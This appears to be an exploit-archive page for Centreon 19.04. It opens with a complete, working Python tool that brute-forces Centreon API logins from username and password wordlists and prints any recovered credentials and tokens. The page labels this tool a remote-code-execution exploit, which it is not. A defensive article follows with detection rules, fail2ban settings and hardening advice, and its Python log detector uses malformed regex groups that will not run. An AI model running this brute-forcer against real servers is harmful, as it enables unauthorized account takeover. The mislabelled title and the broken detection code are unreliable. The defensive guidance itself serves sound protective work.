Centron 19.04 - Remote Code Execution (RCE)

Exploit Author: Starry Sky Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2025-04-10

# Exploit Title : Centron 19.04 - Remote Code Execution (RCE)
# Tested on Centreon API 19.04.0
# Centreon 19.04 - Login Password Bruteforcer
# Written on 6 Nov 2019
# Referencing API Authentication of the Centreon API document
# Author: st4rry
# centbruteon.py
# Centreon Download Link: https://download.centreon.com/#version-Older
# Dependencies: sys, requests, argparse, termcolor, os

#!/usr/bin/env python3

import sys
import requests
import argparse
from termcolor import colored
import os

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', dest='host', help='Define your target URL', required=True)
    parser.add_argument('-p', dest='port', type=int, help='Specify port number', default=80)
    parser.add_argument('--https', dest='https', action='store_true', help='Use HTTPS instead of HTTP')
    parser.add_argument('-l', dest='username', help='Specific username')
    parser.add_argument('-L', dest='userfile', type=argparse.FileType('r'), help='Username wordlist')
    parser.add_argument('-w', dest='passwfile', type=argparse.FileType('r'), help='Specify Password wordlist', required=True)
    parser.add_argument('--insecure', action='store_true', help='Skip SSL certificate verification')
    parser.add_argument('--ca-bundle', dest='ca_bundle', help='Path to custom CA bundle')
    
    if len(sys.argv) == 1:
        parser.print_help(sys.stderr)
        sys.exit(1)
        
    args = parser.parse_args()

    protocol = 'https' if args.https else 'http'
    server = f"{protocol}://{args.host}:{args.port}"
    user = args.username
    passfile = args.passwfile.read().splitlines()
    userfile = args.userfile
    dirlo = '/centreon/api/index.php?action=authenticate'
    verify_ssl = not args.insecure

    if args.ca_bundle:
        verify_ssl = args.ca_bundle

    if user:
        brute_force_single_user(server, user, passfile, dirlo, verify_ssl)
    elif userfile:
        usrwl = userfile.read().splitlines()
        brute_force_multiple_users(server, usrwl, passfile, dirlo, verify_ssl)
    else:
        print(colored('Something went wrong!', 'red'))
        sys.exit(1)

def brute_force_single_user(server, user, passfile, dirlo, verify_ssl):
    for password in passfile:
        data = {'username': user, 'password': password}
        r = requests.post(f'{server}{dirlo}', data=data, verify=verify_ssl)

        try:
            print('Processing...')
            print(colored('Brute forcing on Server: ', 'yellow') + colored(server, 'yellow') + 
                  colored(' Username: ', 'yellow') + colored(user, 'yellow') + 
                  colored(' Password: ', 'yellow') + colored(password, 'yellow'))

            if r.status_code == 200:
                print(colored('Credentials found: username: ', 'green') + colored(user, 'green') + 
                      colored(' password: ', 'green') + colored(password, 'green') + 
                      colored(' server: ', 'green') + colored(server, 'green'))
                print(colored('Token: ', 'cyan') + colored(r.content.decode(), 'cyan'))
                print('\n')
                break
            else:
                print(colored('403 - Unauthenticated!', 'red'))
        except IndexError:
            print(colored('Something went wrong', 'red'))

def brute_force_multiple_users(server, usrwl, passfile, dirlo, verify_ssl):
    for usr in usrwl:
        for password in passfile:
            data = {'username': usr, 'password': password}
            r = requests.post(f'{server}{dirlo}', data=data, verify=verify_ssl)

            try:
                print('Processing...')
                print(colored('Brute forcing on Server: ', 'yellow') + colored(server, 'yellow') + 
                      colored(' Username: ', 'yellow') + colored(usr, 'yellow') + 
                      colored(' Password: ', 'yellow') + colored(password, 'yellow'))

                if r.status_code == 200:
                    print(colored('Credentials found: username: ', 'green') + colored(usr, 'green') + 
                          colored(' password: ', 'green') + colored(password, 'green') + 
                          colored(' server: ', 'green') + colored(server, 'green'))
                    print(colored('Token: ', 'cyan') + colored(r.content.decode(), 'cyan'))
                    print('\n')
                else:
                    print(colored('403 - Unauthenticated!', 'red'))
            except IndexError:
                print(colored('Something went wrong', 'red'))

if __name__ == '__main__':
    main()

Centreon 19.04 — Remote Code Execution (RCE): Overview, Risk, and Defensive Guidance

Keywords: Centreon 19.04 RCE, Centreon remote code execution, Centreon API authentication, Centreon security, brute force, mitigation, detection, hardening

Introduction

Centreon is an IT infrastructure and application monitoring platform used in many enterprises. Versions in the 19.x series (including 19.04) have been the subject of security research and incident reports that highlighted weaknesses in the web/API surface and in authentication handling. Some chains of vulnerabilities affecting Centreon installations have historically enabled attackers to obtain credentials or tokens via automated attacks; in certain circumstances these have been combined with other flaws to achieve remote code execution (RCE).

This article provides a high-level, non-exploitative analysis of the issue, explains the impact, and — critically — offers defensive, detection and remediation guidance for operators and security teams. The goal is to help defenders harden Centreon installations and respond to potential compromise without providing exploit recipes.

Vulnerability summary (high level, non-exploitative)

Researchers and incident responders have identified API authentication weaknesses in some Centreon 19.x deployments that can be abused via brute-force attacks or automated credential-guessing against the API endpoint used for authentication.
When credentials or API tokens are obtained, an attacker may be able to access functionality exposed by the platform. In certain configurations and when combined with other software vulnerabilities or misconfigurations, this can lead to code execution on the host running Centreon.
Because the attack surface includes both the web/API layer and any local service integrations (e.g., monitoring pollers, alerting scripts, and custom plugins), the overall risk depends on system configuration, network exposure, and patch level.

Potential impact

Compromise of Centreon administrative credentials or API tokens.
Unauthorized access to monitoring data, operational settings, or integrations.
Possible lateral movement if the attacker leverages Centreon-managed connections, plugins or scripts to reach other systems.
In worst-case scenarios, if other local vulnerabilities are present, remote code execution on the Centreon server (or connected nodes).

Detection and indicators of attack

Focus on detecting anomalous authentication attempts and unusual administrative activity.

Repeated POST requests to the authentication endpoint (commonly: /centreon/api/index.php?action=authenticate) from a single IP or small set of IPs.
High volume of 401/403/500 responses around the API path in HTTP logs.
Successful logins or token issuance from IPs that never previously accessed the system.
Post-auth actions that change configuration, upload scripts, or schedule jobs. Look for unexpected cron jobs, new services, or suspicious processes.
Outbound connections to attacker-controlled servers initiated by Centreon host processes.

Immediate mitigation steps (if you operate Centreon 19.04)

Apply vendor patches and upgrades: check Centreon advisories and upgrade to the latest patched release as soon as possible.
Restrict access to the Centreon web/API: limit allowed source IP ranges using network ACLs, firewall rules, or VPN-only access for administrative/API operations.
Enable multi-factor authentication (MFA) for admin accounts where supported.
Implement rate-limiting and automated blocking on repeated failed authentication attempts (e.g., fail2ban, web application firewall, nginx limit_req).
Rotate credentials and API tokens after remediation; revoke any tokens that might have been issued during suspicious activity.
Audit installed plugins, custom scripts, and scheduled tasks for unauthorized changes.

Recommended hardening checklist

Keep Centreon, the underlying OS, and web server stack fully patched.
Restrict administrative UI/API access to management networks or via a bastion/VPN.
Use strong, unique passwords for Centreon accounts and enable MFA for human users.
Deploy rate-limiting and monitoring for authentication endpoints.
Use an up-to-date Web Application Firewall (WAF) to protect the HTTP layer.
Harden the server: reduce privileges, run services with least privilege, and disable unused modules.
Monitor logs centrally (SIEM) and create alerts for anomalous admin/API activity.

Detecting brute-force attempts: example Fail2Ban configuration

# /etc/fail2ban/filter.d/centreon-api.conf
[Definition]
failregex = ^ -.*"(POST|GET).*\/centreon\/api\/index.php\?action=authenticate.*" (401|403|302|400)
ignoreregex =

Explanation: This Fail2Ban filter looks for HTTP access log lines where a client made requests to the Centreon API authentication endpoint and received common unauthorised/redirect response codes. Adjust the regex to match your web server access log format (Apache, nginx) and the exact path used in your deployment.

# /etc/fail2ban/jail.d/centreon-api.local
[centreon-api]
enabled = true
filter = centreon-api
action = iptables[name=centreon-api, port=http, protocol=tcp]
logpath = /var/log/apache2/access.log  # or /var/log/nginx/access.log
maxretry = 5
bantime = 3600
findtime = 600

Explanation: This jail enables banning IPs that trigger the filter more than maxretry times in the findtime window. Customize logpath for your environment and choose an appropriate banning action (iptables, nftables, or an external blocking mechanism).

Log-based detection: simple Python parser (read-only, detection only)

#!/usr/bin/env python3
# simple_centreon_detect.py - scan access log for many POSTs to Centreon authenticate
import re
from collections import Counter

LOGFILE = '/var/log/apache2/access.log'
PATTERN = re.compile(r'(?P\d+\.\d+\.\d+\.\d+).*"(POST).*\/centreon\/api\/index.php\?action=authenticate.*" (?P\d{3})')

threshold = 10  # adjustable

counter = Counter()
with open(LOGFILE, 'r', encoding="utf-8", errors="ignore") as f:
    for line in f:
        m = PATTERN.search(line)
        if m:
            code = int(m.group('code'))
            # Count failed attempts (non-200)
            if code != 200:
                counter[m.group('ip')] += 1

for ip, count in counter.most_common():
    if count >= threshold:
        print(f"Suspicious: {ip} had {count} failed auth attempts")

Explanation: This script parses an Apache access log and counts failed authentication attempts to the Centreon API endpoint. It reports IPs over a threshold. Use this for detection and tuning, not for automated blocking in production without review.

Patch and upgrade strategy

Check Centreon official security advisories and changelogs for the exact fix and recommended upgrade path.
Test upgrades in a staging environment before rolling out to production to ensure monitoring configurations and plugins continue to work.
Follow a regular patch cadence for the platform and underlying OS. Maintain backups and reliable recovery procedures.

Incident response: suspected compromise of Centreon

Isolate the affected system from the network if you suspect active compromise.
Collect and preserve logs (web server access logs, application logs, system logs) for forensic analysis.
Rotate credentials and revoke API tokens. Replace certificates or keys if they may be compromised.
Scan for persistence: check cron jobs, unusual systemd services, and unexpected files in typical locations (e.g., /tmp, /var/tmp).
Consider rebuilding the host from a trusted image if evidence of code execution is found.
Notify relevant stakeholders and, if required by law or policy, regulators or customers.

Best practices and long-term controls

Network segmentation: keep monitoring infrastructure separate and only allow necessary access.
Least privilege: run Centreon and its components with minimum required rights; restrict shells and sudo access.
Automated detection: integrate Centreon logs with your SIEM and create prioritized alerts for suspicious API activity.
Regular security testing: run authenticated vulnerability scans and periodic penetration tests against non-production instances.
Inventory and hardening of plugins: only run trusted plugins and review any custom code for input validation and secure handling of external data.

Responsible disclosure and resources

If your organization discovers a vulnerability in Centreon or believes it has been exploited, contact Centreon's security team and follow responsible disclosure practices. Always coordinate vulnerability reporting and remediation in a controlled manner.

Aspect	Recommended action
Immediate risk	Apply vendor patches, restrict API access, rotate credentials
Detection	Monitor API auth logs; deploy fail2ban/WAF; integrate with SIEM
Long-term	Harden host, network segmentation, regular testing

Conclusion

Centreon 19.04 deployments that expose the API or use weak access controls can be attractive targets for automated credential attacks. While specific exploit chains that lead to RCE depend on additional conditions, defenders should act proactively: patch, restrict access, implement rate-limiting and monitoring, and prepare an incident response plan. The defensive examples above (fail2ban configuration and a log parser) are intended to help detection and mitigation; for full remediation, follow vendor advisories and standard incident response procedures.